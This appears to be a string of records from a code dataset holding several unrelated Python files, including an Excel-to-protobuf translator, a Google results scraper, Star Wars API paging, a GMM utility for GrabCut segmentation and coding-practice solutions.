{\\n\")\n\n def _LayoutStructTail(self):\n \"\"\"生成结构尾\"\"\"\n if not self._is_layout:\n return\n self._output.append(\" \" * self._indentation + \"}\\n\")\n self._output.append(\"\\n\")\n\n def _LayoutComment(self, comment):\n # 改用C风格的注释,防止会有分行\n if not self._is_layout:\n return\n \n if comment.count(\"\\n\") > 1:\n if comment[-1] != '\\n':\n comment = comment + \"\\n\"\n comment = comment.replace(\"\\n\", \"\\n\" + \" \" * (self._indentation + TAP_BLANK_NUM),\n comment.count(\"\\n\") - 1)\n self._output.append(\" \" * self._indentation + \"/** \" + comment + \" \" * self._indentation + \"*/\\n\")\n else:\n self._output.append(\" \" * self._indentation + \"/** \" + comment + \" */\\n\")\n\n def _LayoutOneField(self, field_rule, field_type, field_name):\n \"\"\"输出一行定义\"\"\"\n if not self._is_layout:\n return\n if field_name.find('=') > 0:\n name_and_value = field_name.split('=')\n self._output.append(\" \" * self._indentation + field_rule + \" \" + field_type \\\n + \" \" + str(name_and_value[0]).strip() + \" = \" + self._GetAndAddFieldIndex() \\\n + \";\\n\")\n return\n\n if (field_rule != \"required\" and field_rule != \"optional\"):\n self._output.append(\" \" * self._indentation + field_rule + \" \" + field_type \\\n + \" \" + field_name + \" = \" + self._GetAndAddFieldIndex() + \";\\n\")\n return\n\n if field_type == \"int32\" or field_type == \"int64\" \\\n or field_type == \"uint32\" or field_type == \"uint64\" \\\n or field_type == \"sint32\" or field_type == \"sint64\" \\\n or field_type == \"fixed32\" or field_type == \"fixed64\" \\\n or field_type == \"sfixed32\" or field_type == \"sfixed64\" \\\n or field_type == \"double\" or field_type == \"float\":\n self._output.append(\" \" * self._indentation + field_rule + \" \" + field_type \\\n + \" \" + field_name + \" = \" + self._GetAndAddFieldIndex() \\\n + \";\\n\")\n elif field_type == \"string\" or field_type == \"bytes\":\n self._output.append(\" \" * self._indentation + field_rule + \" \" + field_type \\\n + \" \" + field_name + \" = \" + self._GetAndAddFieldIndex() \\\n + \";\\n\")\n elif field_type == \"DateTime\":\n field_type = \"uint64\"\n self._output.append(\" \" * self._indentation + field_rule + \" \" + field_type \\\n + \" /*DateTime*/ \" + field_name + \" = \" + self._GetAndAddFieldIndex() \\\n + \";\\n\")\n elif field_type == \"TimeDuration\":\n field_type = \"uint64\"\n self._output.append(\" \" * self._indentation + field_rule + \" \" + field_type \\\n + \" /*TimeDuration*/ \" + field_name + \" = \" + self._GetAndAddFieldIndex() \\\n + \"\\n\")\n else:\n self._output.append(\" \" * self._indentation + field_rule + \" \" + field_type \\\n + \" \" + field_name + \" = \" + self._GetAndAddFieldIndex() + \";\\n\")\n return\n\n def _IncreaseIndentation(self):\n \"\"\"增加缩进\"\"\"\n self._indentation += TAP_BLANK_NUM\n\n def _DecreaseIndentation(self):\n \"\"\"减少缩进\"\"\"\n self._indentation -= TAP_BLANK_NUM\n\n def _GetAndAddFieldIndex(self):\n \"\"\"获得字段的序号, 并将序号增加\"\"\"\n index = str(self._field_index_list[- 1])\n self._field_index_list[-1] += 1\n return index\n\n def _LayoutArray(self):\n \"\"\"输出数组定义\"\"\"\n global g_struct_name\n self._output.append(\"message \" + g_struct_name + \"_array {\\n\")\n self._output.append(\" repeated \" + g_struct_name + \" items = 1;\\n}\\n\")\n\n def _Write2File(self):\n \"\"\"输出到文件\"\"\"\n dir = g_proto_path\n if not os.path.exists(dir):\n os.makedirs(dir)\n pb_file = open(os.path.join(dir, g_pb_file_name), \"w+\")\n pb_file.writelines(self._output)\n pb_file.close()\n\n\nclass DataParser:\n \"\"\"解析excel的数据\"\"\"\n\n def __init__(self, xls_file_path, sheet_name):\n self._xls_file_path = xls_file_path\n self._sheet_name = sheet_name\n\n try:\n self._workbook = xlrd.open_workbook(self._xls_file_path)\n except:\n LOG_ERROR(\"open xls file(%s) failed\" % (self._xls_file_path))\n raise\n\n try:\n self._sheet = self._workbook.sheet_by_name(self._sheet_name)\n except:\n LOG_ERROR(\"open the sheet(%s) in(%s) failed\" % (self._sheet_name, self._xls_file_path))\n raise\n\n self._row_count = len(self._sheet.col_values(0))\n self._col_count = len(self._sheet.row_values(0))\n\n self._row = 0\n self._col = 0\n\n # 过滤掉不合格的sheet\n scope = self._sheet.cell_value(0, self._col)\n if str(scope) != \"C\" and str(scope) != \"S\" and str(scope) != \"CS\" and str(scope) != \"SC\":\n return\n\n try:\n global g_pb_file_name\n self._module_name = g_pb_file_name.replace(\".proto\", \"_pb2\");\n #sys.path.append(os.getcwd() + g_proto_path)\n sys.path.append(g_proto_path)\n if not os.path.exists(g_proto_path + self._module_name + '.py'):\n LOG_INFO(\"file not exist\")\n\n exec ('from ' + self._module_name + ' import *');\n self._module = sys.modules[self._module_name]\n except:\n LOG_ERROR(\"load module(%s) failed\" % (self._module_name))\n raise\n\n def Parse(self):\n \"\"\"对外的接口:解析数据\"\"\"\n LOG_INFO(\"begin parse, row_count = %d, col_count = %d\", self._row_count, self._col_count)\n\n # 过滤掉不合格的sheet\n scope = self._sheet.cell_value(0, self._col)\n if str(scope) != \"C\" and str(scope) != \"S\" and str(scope) != \"CS\" and str(scope) != \"SC\":\n return\n\n global g_struct_name\n item_array = getattr(self._module, g_struct_name + '_array')()\n\n # 先找到定义ID的列\n id_col = 0\n for id_col in range(0, self._col_count):\n info_id = str(self._sheet.cell_value(self._row, id_col)).strip()\n if info_id == \"\":\n continue\n else:\n break\n\n for self._row in range(5, self._row_count):\n # 如果 id 是 空 直接跳过改行\n info_id = str(self._sheet.cell_value(self._row, id_col)).strip()\n if info_id == \"\":\n LOG_WARN(\"%d is None\", self._row)\n continue\n item = item_array.items.add()\n self._ParseLine(item)\n\n #LOG_INFO(\"parse result:\\n%s\", item_array)\n if g_readable2:\n self._WriteReadable2Data2File(item_array)\n else:\n self._WriteReadableData2File(str(item_array))\n data = item_array.SerializeToString()\n self._WriteData2File(data)\n\n def _ParseLine(self, item):\n LOG_INFO(\"%d\", self._row)\n\n self._col = 0\n while self._col < self._col_count:\n self._ParseField(0, 0, item)\n\n def _ParseField(self, max_repeated_num, repeated_num, item):\n scope = self._sheet.cell_value(0, self._col)\n if str(scope) != \"S\" and str(scope) != \"CS\" and str(scope) != \"SC\":\n self._col += 1\n return\n\n field_s_or_r = str(self._sheet.cell_value(1, self._col))\n field_rule = str(self._sheet.cell_value(2, self._col))\n field_name = str(self._sheet.cell_value(3, self._col))\n proto_rule = \"optional\"\n\n field_type = field_rule\n \n # 为了能支持解析singular or repeated的情况\n if field_s_or_r == \"repeated\":\n field_type = \"string\"\n\n if field_rule.startswith(\"array\"):\n proto_rule = \"repeated\"\n if field_name.find(\"[\") >= 0:\n field_name = field_name[0: field_name.find(\"[\")]\n\n if field_rule.find(\"int32\") >= 0:\n field_type = \"int32\"\n elif field_rule.find(\"float\") >= 0:\n field_type = \"float\"\n elif field_rule.find(\"string\") >= 0:\n field_type = \"string\"\n else:\n LOG_ERROR(\"parse field_type error col{%d}\" % (self._col))\n\n # 这里由于前端不支持直接配置时间类型,所以只能用名字后缀来区别\n if field_name.endswith(\"_dt\"):\n field_type = \"DateTime\"\n\n if proto_rule == \"required\" or proto_rule == \"optional\":\n\n LOG_INFO(\"%d|%d\", self._row, self._col)\n LOG_INFO(\"%s|%s|%s\", field_rule, field_type, field_name)\n\n field_value = self._GetFieldValue(field_type, self._row, self._col)\n # 有value才设值\n if field_value != None:\n item.__setattr__(field_name, field_value)\n self._col += 1\n\n elif proto_rule == \"repeated\":\n # 2011-11-29 修改\n # 若repeated第二行是类型定义,则表示当前字段是repeated,并且数据在单列用分好相隔\n\n field_value = self._GetFieldValue(field_type, self._row, self._col)\n item.__getattribute__(field_name).append(int(float(field_value)))\n self._col += 1\n return\n\n else:\n self._col += 1\n return\n\n def _GetFieldValue(self, field_type, row, col):\n \"\"\"将pb类型转换为python类型\"\"\"\n\n field_value = self._sheet.cell_value(row, col)\n LOG_INFO(\"%d|%d|%s\", row, col, field_value)\n\n try:\n if field_type == \"int32\" or field_type == \"int64\" \\\n or field_type == \"uint32\" or field_type == \"uint64\" \\\n or field_type == \"sint32\" or field_type == \"sint64\" \\\n or field_type == \"fixed32\" or field_type == \"fixed64\" \\\n or field_type == \"sfixed32\" or field_type == \"sfixed64\":\n if len(str(field_value).strip()) <= 0:\n return None\n else:\n return int(field_value)\n elif field_type == \"double\" or field_type == \"float\":\n if len(str(field_value).strip()) <= 0:\n return None\n else:\n return float(field_value)\n elif field_type == \"string\":\n field_value = str(field_value)\n if len(field_value) <= 0:\n return None\n else:\n return field_value\n elif field_type == \"bytes\":\n field_value = str(field_value).encode('utf-8')\n if len(field_value) <= 0:\n return None\n else:\n return field_value\n elif field_type == \"DateTime\":\n field_value = str(field_value).encode('utf-8')\n if len(field_value) <= 0:\n return 0\n else:\n import time\n # field_value += \" EDT\"\n # time_struct = time.strptime(field_value, \"%Y-%m-%d %H:%M:%S %Z\")\n time_struct = time.strptime(field_value, \"%Y-%m-%d %H:%M:%S\")\n # UTC time\n time_stamp = int(time.mktime(time_struct))\n return time_stamp\n elif field_type == \"TimeDuration\":\n field_value = str(field_value).encode('utf-8')\n if len(field_value) <= 0:\n return 0\n else:\n import datetime\n import time\n time_struct = 0\n try:\n time_struct = time.strptime(field_value, \"%HH\")\n except:\n time_struct = time.strptime(field_value, \"%jD%HH\")\n return 3600 * (time_struct.tm_yday * 24 + time_struct.tm_hour)\n else:\n return None\n except:\n LOG_ERROR(\"parse cell(%u, %u) error, please check it, maybe type is wrong.\" % (row, col))\n raise\n\n def _WriteData2File(self, data):\n dir = g_data_path\n if not os.path.exists(dir):\n os.makedirs(dir)\n \n file_name = os.path.join(dir, g_struct_name + \".data\")\n file = open(file_name, 'wb+')\n file.write(data)\n file.close()\n\n def _WriteReadableData2File(self, data):\n dir = g_data_path\n if not os.path.exists(dir):\n os.makedirs(dir)\n \n file_name = os.path.join(dir, g_struct_name + \".conf\")\n file = open(file_name, 'wb+')\n file.write(data.encode())\n file.close()\n\n def _WriteReadable2Data2File(self, item_array):\n content = ''\n str_array = str(item_array)\n str_array = str_array.replace('\\n', '')\n str_array = str_array.replace('}', ' }\\n')\n str_array = str_array.replace('{ ', '{')\n self._WriteReadableData2File(str_array)\n\n\"\"\"\n开始函数\n\"\"\"\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--sheet', required=True, help='sheet name')\n parser.add_argument('--file', required=True, help='file path')\n parser.add_argument('--proto', required=False, help='the proto directory path')\n parser.add_argument('--data', required=False, help='the data directory path')\n parser.add_argument('--r2', nargs='?', const=True, required=False, help='readable version2')\n args = parser.parse_args()\n\n g_readable2 = args.r2\n g_data_path = args.data\n g_proto_path = args.proto\n if not g_proto_path:\n g_proto_path = './tmp_proto/'\n \n if not os.path.exists(g_proto_path):\n os.makedirs(g_proto_path)\n\n try:\n LOG_INFO(\"begin interpreted file:%s sheet:%s\" % (args.file, args.sheet))\n interpreter = SheetInterpreter(args.file, args.sheet)\n interpreter.interpreted()\n if g_data_path:\n parser = DataParser(args.file, args.sheet)\n parser.Parse()\n os.remove(os.path.join(g_data_path, g_struct_name + '.data'))\n \n LOG_INFO(\"end interpreted file:%s sheet:%s\" % (args.file, args.sheet))\n LOG_INFO(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n\")\n except BaseException as e:\n LOG_ERROR(\"col: %d, error : %s\" % (interpreter._col + 1, e))\n LOG_ERROR(\"Interpreted file:%s sheet:%s Failed!!!\" % (args.file, args.sheet))\n LOG_INFO(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n\")\n finally:\n if g_proto_path == './tmp_proto/':\n shutil.rmtree(g_proto_path)\n","repo_name":"xiaoquanjie/async","sub_path":"tools/excel2proto/xls_translator.py","file_name":"xls_translator.py","file_ext":"py","file_size_in_byte":21439,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"72489157634","text":"def solution(numbers):\n strNums = []\n for num in numbers: # 각 숫자들을 정렬순으로 비교할 수 있게 변환\n temp = []\n for i in str(num):\n temp.append(int(i))\n while len(temp) < 4:\n temp.append(int(str(num)[0]))\n temp.append(len(str(num)))\n if len(str(num)) != 4 and temp[0] > temp[1]:\n temp[3] += temp[4]\n strNums.append(temp)\n \n sortNums = sorted(strNums, key = lambda x : (-x[0], -x[1], -x[2], -x[3], x[4]))\n \n answer = \"\"\n for i in sortNums: # 정렬된 숫자들을 자릿수 만큼 붙여넣기\n for j in range(i[4]):\n answer += str(i[j])\n \n if int(answer) == 0:\n return \"0\"\n return answer\n","repo_name":"Lairin-pdj/coding_test_practice_programmers","sub_path":"가장 큰 수.py","file_name":"가장 큰 수.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39168023658","text":"# This code taken from https://practicaldatascience.co.uk/data-science/how-to-scrape-google-search-results-using-python\n# Sorry I'm lazy xD\n\nimport urllib\nfrom requests_html import HTMLSession\n\n\ndef get_source(url):\n try:\n session = HTMLSession()\n response = session.get(url)\n return response\n\n except:\n pass\n\n\ndef get_results(query):\n\n query = urllib.parse.quote_plus(query)\n response = get_source(\"https://www.google.com/search?q=\" + query)\n\n return response\n\n\ndef scrape_google(query):\n\n query = urllib.parse.quote_plus(query)\n response = get_source(\"https://www.google.com/search?q=\" + query)\n\n links = list(response.html.absolute_links)\n google_domains = (\n \"https://www.google.\",\n \"https://google.\",\n \"https://webcache.googleusercontent.\",\n \"http://webcache.googleusercontent.\",\n \"https://policies.google.\",\n \"https://support.google.\",\n \"https://maps.google.\",\n )\n\n for url in links[:]:\n if url.startswith(google_domains):\n links.remove(url)\n\n return links\n\n\ndef parse_results(response):\n\n css_identifier_result = \".tF2Cxc\"\n css_identifier_title = \"h3\"\n css_identifier_link = \".yuRUbf a\"\n css_identifier_text = \".IsZvec\"\n\n results = response.html.find(css_identifier_result)\n\n output = []\n\n for result in results:\n\n item = {\n \"title\": result.find(css_identifier_title, first=True).text,\n \"link\": result.find(css_identifier_link, first=True).attrs[\"href\"],\n \"text\": result.find(css_identifier_text, first=True).text,\n }\n\n output.append(item)\n\n return output\n\n\ndef google_search(query):\n response = get_results(query)\n return parse_results(response)\n\n\n# def format(results):\n# results = google_search(results)\n# for r in results:\n# print(r[\"title\"])\n# print(r[\"link\"])\n# print(r[\"text\"])\n# print(\"\\n\")\n\n# format(\"JavaScript learning free\")\n\n# Testing it out\n\n# print(google_search(\"JavaScript free learning\"))\n\n# [\n# {\n# \"title\": \"Learn JavaScript | Codecademy\",\n# \"link\": \"https://www.codecademy.com/learn/introduction-to-javascript\",\n# \"text\": \"The concepts covered in these lessons lay the foundation for using JavaScript in any environment. Up Next: After learning JavaScript basics, try applying\\xa0...\\n\\u200eWelcome to Learn JavaScript · \\u200eLearn Intermediate JavaScript · \\u200eIntroduction · \\u200eScope\",\n# },\n# {\n# \"title\": \"Start learning JavaScript with our free real time tutorial\",\n# \"link\": \"https://www.javascript.com/try\",\n# \"text\": \"Start learning JavaScript with our interactive simulator for free. Our easy to follow JavaScript tutorials for beginners will have you coding the basics in\\xa0...\",\n# },\n# {\n# \"title\": \"JavaScript Tutorial - W3Schools\",\n# \"link\": \"https://www.w3schools.com/js/\",\n# \"text\": \"Start learning JavaScript now » ... If you try all the examples, you will learn a lot about JavaScript, ... JavaScript is free to use for everyone.\\n\\u200eJavaScript Introduction · \\u200eJavaScript Examples · \\u200eJavaScript Functions · \\u200eTry it Yourself\",\n# },\n# {\n# \"title\": \"Learn JavaScript\",\n# \"link\": \"https://learnjavascript.online/\",\n# \"text\": \"Learn JavaScript is the easiest, most interactive way to learn & practice modern ... challenges, projects (first 7 chapters) & flashcards for free.\",\n# },\n# {\n# \"title\": \"Top Free JavaScript Courses & Tutorials Online - Udemy\",\n# \"link\": \"https://www.udemy.com/topic/javascript/free/\",\n# \"text\": \"Learn Javascript from top-rated instructors. Find the best online Javascript classes and start coding in Javascript today. Javascript is an object-oriented\\xa0...\",\n# },\n# {\n# \"title\": \"Learn JavaScript - Free Interactive JavaScript Tutorial\",\n# \"link\": \"https://www.learn-js.org/\",\n# \"text\": \"learn-js.org is a free interactive JavaScript tutorial for people who want to learn JavaScript, fast.\",\n# },\n# {\n# \"title\": \"Learn JavaScript for Free: 13 Online Resources for Every ...\",\n# \"link\": \"https://www.fullstackacademy.com/blog/learn-javascript-for-free-13-online-tutorials-resources\",\n# \"text\": \"Beginner Javascript Courses · JavaScript for Cats · Codecademy's Intro to JavaScript Track · Fullstack Academy's Intro to Coding · Treehouse's JavaScript Basics.\",\n# },\n# {\n# \"title\": \"10 Websites to Learn JavaScript Coding for FREE — Best of Lot\",\n# \"link\": \"https://medium.com/javarevisited/my-favorite-free-tutorials-and-courses-to-learn-javascript-8f4d0a71faf2\",\n# \"text\": \"10-Jan-2020 — 10 Websites to Learn JavaScript Coding for FREE — Best of Lot · 1. Introduction to JavaScript @ Codecademy · 2. Free JavaScript Tutorials @ Udemy.\",\n# },\n# {\n# \"title\": \"Learn to Code — For Free — Coding Courses for Busy People\",\n# \"link\": \"https://www.freecodecamp.org/\",\n# \"text\": \"Learn to Code — For Free. ... Studying JavaScript as well as data structures and algorithms on freeCodeCamp gave me the skills and confidence I needed to\\xa0...\",\n# },\n# ]\n","repo_name":"PrasoonPratham/Cheap-twiter-thread-maker","sub_path":"results.py","file_name":"results.py","file_ext":"py","file_size_in_byte":5304,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"40190398451","text":"###########\n# IMPORTS #\n###########\n\nimport requests\n\n# url va me servir de changer de page dans la boucle while\nurl = \"https://swapi.co/api/people/\"\n\n# Quand il n'y a plus de \"page suivante\", la page \"next\" sera egale a None\n# Donc, je boucle sur url tant qu'elle n'est egale a None :)\nwhile url is not None:\n\tprint(\"\")\n\n\t############################\n\t# RÉCUPÉRATION DES DONNÉES #\n\t############################\n\n\t# Je fais la requête sur la page en cours, et je recupere la data\n\tr = requests.get(url)\n\tdata = r.json() \n\n\t# C'est ici que je change l'url pour avoir la page d'apres :)\n\turl = data[\"next\"]\n\t# Ce tableau est la liste de tous les personnages\n\tpersosTab = data[\"results\"]\n\n\t###########################\n\t# UTILISATION DES DONNÉES #\n\t###########################\n\n\t# Je fais ensuite une boucle qui parcourt tous les personnages\n\t# et qui affiche leur nom !\n\tfor perso in persosTab:\n\t\tprint(perso[\"name\"])","repo_name":"Dragonus76/-Api_avec_python","sub_path":"Api.py","file_name":"Api.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10166106081","text":"# Part 1 Solution. This is ugly because I misunderstood the question in the beginning.\n\nf = open(\"input.txt\", \"r\")\n\n\ndef appears(string, letters, times):\n d = []\n for i in letters:\n n = string.count(i)\n if n == times:\n d.append(i)\n else:\n pass\n\n return d\n\n\nletters = [\n \"a\",\n \"b\",\n \"c\",\n \"d\",\n \"e\",\n \"f\",\n \"g\",\n \"h\",\n \"i\",\n \"j\",\n \"k\",\n \"l\",\n \"m\",\n \"n\",\n \"o\",\n \"p\",\n \"q\",\n \"r\",\n \"s\",\n \"t\",\n \"u\",\n \"v\",\n \"w\",\n \"x\",\n \"y\",\n \"z\",\n]\n\nc = [0, 0]\n\nfor line in f:\n d2 = appears(str(line), letters, times=2)\n if len(d2) > 0:\n c[0] += 1\n d3 = appears(str(line), letters, times=3)\n if len(d3) > 0:\n c[1] += 1\n\nprint(c[0] * c[1])\n\nf.close()\n# Part Two\n\n# This is again very ugly and inefficient. I will refactor it later.\n\n\ndef differs(string1, string2):\n l = len(string2)\n ans = None\n for i in range(l):\n if string1[:i] + string1[i + 1:] == string2[:i] + string2[i + 1:]:\n ans = string1[:i] + string1[i + 1:]\n\n return ans\n\nf2 = open(\"input.txt\", \"r\")\nlst = []\n\nfor line in f2:\n lst.append(str(line)[:-1])\n\n\nfor i in range(len(lst)):\n for j in lst[i+1:]:\n if differs(str(lst[i]), j) is not None:\n print(differs(lst[i], j))\n","repo_name":"dit7ya/AdventOfCode2018","sub_path":"day2/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19053177440","text":"#coding:utf-8\n\"\"\"Write a Python program to calculate the sum of the positive and negative numbers of a given list of numbers using lambda function. Go to the editor\nOriginal list: [2, 4, -6, -9, 11, -12, 14, -5, 17]\nSum of the positive numbers: -32\nSum of the negative numbers: 48\"\"\"\n\nliste=[2, 4, -6, -9, 11, -12, 14, -5, 17]\npositive_rslt=sum(list(filter(lambda x:x>0 , liste)))\nnegative_rslt=sum(list(filter(lambda x:x<0 , liste)))\nprint(f\"Sum of the positive numbers:{positive_rslt}\")\nprint(f\"Sum of the negative numbers:{negative_rslt}\")","repo_name":"DonaFidele/PythonExercices","sub_path":"lambda/exo_23.py","file_name":"exo_23.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72028464193","text":"\"\"\"为了更好使用协程来完成多任务,\nPython中的greenlet模块对 yeild进行封装,\n从而使得切换任务变得更加简单\"\"\"\n\n\n\n'''\n使用:创建多任务的greenlet对象\n切换:switch()方法传参和任务切换\n'''\nimport greenlet\n\n\ndef work1():\n for i in range(10):\n print(\"---work1----{}\".format(i))\n # 标记切换g2任务\n g2.switch()\n\n\ndef work2():\n for i in range(10):\n print(\"---work2----{}\".format(i))\n # 标记切换g1任务\n g1.switch()\n\n\n# 创建两个greenlet对象\ng1 = greenlet.greenlet(work1)\ng2 = greenlet.greenlet(work2)\n\n# 切进任务1,有参数可以传参数 *args, **kwargs\ng1.switch() # 类似于 生成器的next\n","repo_name":"langdawang678/Py","sub_path":"A_process_thread/c26.2协程b0116greenlet.py","file_name":"c26.2协程b0116greenlet.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21326544862","text":"from wordcloud import WordCloud, ImageColorGenerator\nimport numpy as np\nimport PIL.Image as Image\nimport matplotlib.pyplot as plt\n\ndef wordimage(word_space_split):\n coloring = np.array(Image.open('E:\\pythontest\\itchat\\zzicon.png'))\n my_wordcloud = WordCloud(\n background_color='white',\n max_words=2000,\n mask=coloring,\n max_font_size=60,\n random_state=42,\n scale=2,\n font_path='E:\\pythontest\\itchat\\simhei.ttf'\n ).generate(word_space_split)\n image_colors = ImageColorGenerator(coloring)\n plt.imshow(my_wordcloud.recolor(color_func=image_colors))\n plt.imshow(my_wordcloud)\n plt.axis('off')\n plt.show()\n my_wordcloud.to_file('p.png')","repo_name":"rotateX/itchat","sub_path":"wordimage.py","file_name":"wordimage.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37846206080","text":"from sklearn.cluster import KMeans\nimport numpy as np\nimport cv2\nnp.seterr(divide='ignore', invalid='ignore')\n\n# GMM utility for grabcut algorithm based on the papers:\n# Paper 1 - Carsten Rother, Vladimir Kolmogorov, and Andrew Blake. “” GrabCut” in\u0002teractive\n# foreground extraction using iterated graph cuts”. In: ACM trans\u0002actions on graphics (TOG) 23.3 (2004), pp. 309–314\n# Paper 2 - Justin F Talbot and Xiaoqian Xu. “Implementing grabcut”. In: Brigham\n# Young University 3 (2006).\n\n\nclass GMM:\n\n # Init the GMM\n def __init__(self, points, n_components):\n self.n_components = n_components\n self.components_index = []\n self.means = np.zeros((self.n_components, 3), dtype=np.float64)\n self.covariances = np.zeros((self.n_components, 3, 3), dtype=np.float64)\n self.invert_covariances = np.zeros((self.n_components, 3, 3), dtype=np.float64)\n self.det = np.zeros(self.n_components, dtype=np.float64)\n self.phi = np.zeros(self.n_components, dtype=np.float64)\n\n # Init fit using k-means algorithm\n kmeans = KMeans(n_clusters=self.n_components, init='k-means++', n_init=1, random_state=42).fit(points)\n self.components_index = kmeans.labels_\n\n # Update GMM parameters\n self.update_params(points, self.components_index)\n return\n\n # Update the GMM mean and covariance and other parameters\n def update_params(self, points, components_index):\n\n for i in range(self.n_components):\n data = points[components_index == i]\n\n # no points in the GMM?\n if len(data) == 0:\n self.phi[i] = 0\n self.covariances[i] = np.zeros((3, 3), dtype=np.float64)\n self.means[i] = np.zeros(3, dtype=np.float64)\n self.invert_covariances[i] = np.zeros((3, 3), dtype=np.float64)\n self.det[i] = 1\n continue\n\n # GMM parameters\n cov, mean = cv2.calcCovarMatrix(samples=data,flags=cv2.COVAR_SCALE | cv2.COVAR_NORMAL | cv2.COVAR_ROWS, mean=None)\n self.means[i] = mean\n self.covariances[i] = cov\n\n self.det[i] = np.linalg.det(self.covariances[i])\n self.phi[i] = data.shape[0] / points.shape[0]\n\n # Singular matrix? solve\n if self.det[i] <= 0:\n\n # Create non-singular matrix which will be added to covariance matrix\n # We create covariance matrix with small values as stated in paper 2\n dim = 3\n m = np.identity(dim) * 0.25 # Small numbers inside the matrix\n mx = np.sum(np.abs(m), axis=1)\n np.fill_diagonal(m, mx)\n\n self.covariances[i] += m\n self.det[i] = np.linalg.det(self.covariances[i])\n\n if self.det[i] > 0:\n self.invert_covariances[i] = np.linalg.inv(self.covariances[i])\n\n # Calculate the probabilities of the points for specific Gaussian component of the GMM without normalizing\n def compute_prob(self, points, component):\n probabilities = np.zeros(points.shape[0], dtype=np.float64)\n\n # No points in the gaussian component or singular matrix? send zero probabilities vector for all points\n if self.phi[component] == 0 or self.det[component] <= 0:\n return probabilities\n\n # Matrix multiplication for the exponent in gaussian probability,\n # Einstein notation is faster and prevent overflow for big matrices which we had with np.matmul\n normalized_points = points - self.means[component]\n z = np.einsum(\"ij, jk -> ik\", normalized_points, self.invert_covariances[component])\n alpha = np.einsum('ij, ij -> i', normalized_points, z)\n\n # Calculate the probabilities using the gaussian probability formula\n exponent = alpha / 2\n denominator = 1 / np.sqrt(np.power(2 * np.pi, 3) * self.det[component])\n probabilities = np.exp(-exponent) * denominator\n return probabilities\n\n # Given Samples predict their labels\n def predict(self, points):\n # No points? send empty array\n if points.size == 0:\n return np.empty(shape=(0, 0))\n\n # For each point calculate the probability to be part of the \"i\" component\n num_of_points = len(points)\n prob = np.empty(shape=(len(points), 0))\n for i in range(self.n_components):\n y = self.compute_prob(points, i).reshape(num_of_points, 1)\n prob = np.concatenate((prob, y), axis=1)\n\n # Choose for each point the component with the max probability\n return np.argmax(prob, axis=1)\n\n # Update the GMM parameter according to the points entered\n def update(self, points):\n # No points? send empty array\n if points.size == 0:\n return np.empty(shape=(0, 0))\n\n self.components_index = self.predict(points)\n self.update_params(points, self.components_index)\n\n # Compute the inner likelihood(before running the log),\n # which will be summed together in the D function like in Paper 2\n def inner_likelihood(self, points, component):\n # No points in the gaussian component or singular matrix? send zero inner likelihood vector for all points\n inner_likelihood = np.zeros(points.shape[0], dtype=np.float64)\n if self.phi[component] == 0 or self.det[component] <= 0:\n return inner_likelihood\n\n # Matrix multiplication for the exponent in gaussian probability,\n # Einstein notation is faster and prevent overflow for big matrices which we had with np.matmul\n normalized_points = points - self.means[component]\n z = np.einsum(\"ij, jk -> ik\", normalized_points, self.invert_covariances[component])\n alpha = np.einsum('ij, ij -> i', normalized_points, z)\n\n # Calculate the inner likelihood(before running the log)\n exponent = alpha / 2\n denominator = (1 / (np.sqrt(self.det[component])))\n inner_likelihood = np.exp(-exponent) * denominator\n\n return inner_likelihood\n\n # Compute the \"d\" function value like specify in the paper 2\n def compute_d_function(self, points):\n if points.size == 0:\n return np.empty(shape=(0, 0))\n\n # For each point calculate the inner_likelihood of the \"i\" component\n num_of_points = len(points)\n prob = np.empty(shape=(len(points), 0))\n for i in range(self.n_components):\n y = self.inner_likelihood(points, i).reshape(num_of_points, 1)\n prob = np.concatenate((prob, y), axis=1)\n\n # Matrix multiplication with vector\n delta = np.einsum('ij, j -> i', prob, self.phi)\n\n # Return the \"d\" function like specify in the paper 2\n return -np.log(delta)\n\n\n\n","repo_name":"SeeingFarther/grabcut","sub_path":"gmm.py","file_name":"gmm.py","file_ext":"py","file_size_in_byte":6784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40049318773","text":"class MedianFinder:\n\n def __init__(self):\n self.store = []\n \n def addNum(self, num: int) -> None:\n self.insert(num)\n \n def findMedian(self) -> float:\n length = len(self.store)\n \n return self.store[length//2] if length % 2 else (self.store[length//2 - 1] + self.store[length//2]) * .5\n \n def insert(self, num):\n left, right = 0, len(self.store) - 1\n positionToInsert = -1\n \n while left <= right:\n mid = (left + right) // 2\n \n if self.store[mid] > num:\n right = mid - 1\n \n elif self.store[mid] < num:\n left = mid + 1\n else:\n positionToInsert = mid\n break\n \n if positionToInsert == -1:\n positionToInsert = left\n \n self.store.insert(positionToInsert, num)\n \n \n\n# Sort Everytime while reading\n# Space - O(n)\n\n# class MedianFinder:\n\n# def __init__(self):\n# self.store = []\n \n# # O(1) - Amortized\n# def addNum(self, num: int) -> None:\n# self.store.append(num)\n \n# # O(nlogn) - Time\n# def findMedian(self) -> float:\n# self.store.sort()\n# length = len(self.store)\n \n# return self.store[length//2] if length % 2 else (self.store[length//2 - 1] + self.store[length//2]) * .5\n \n\n\n# Your MedianFinder object will be instantiated and called as such:\n# obj = MedianFinder()\n# obj.addNum(num)\n# param_2 = 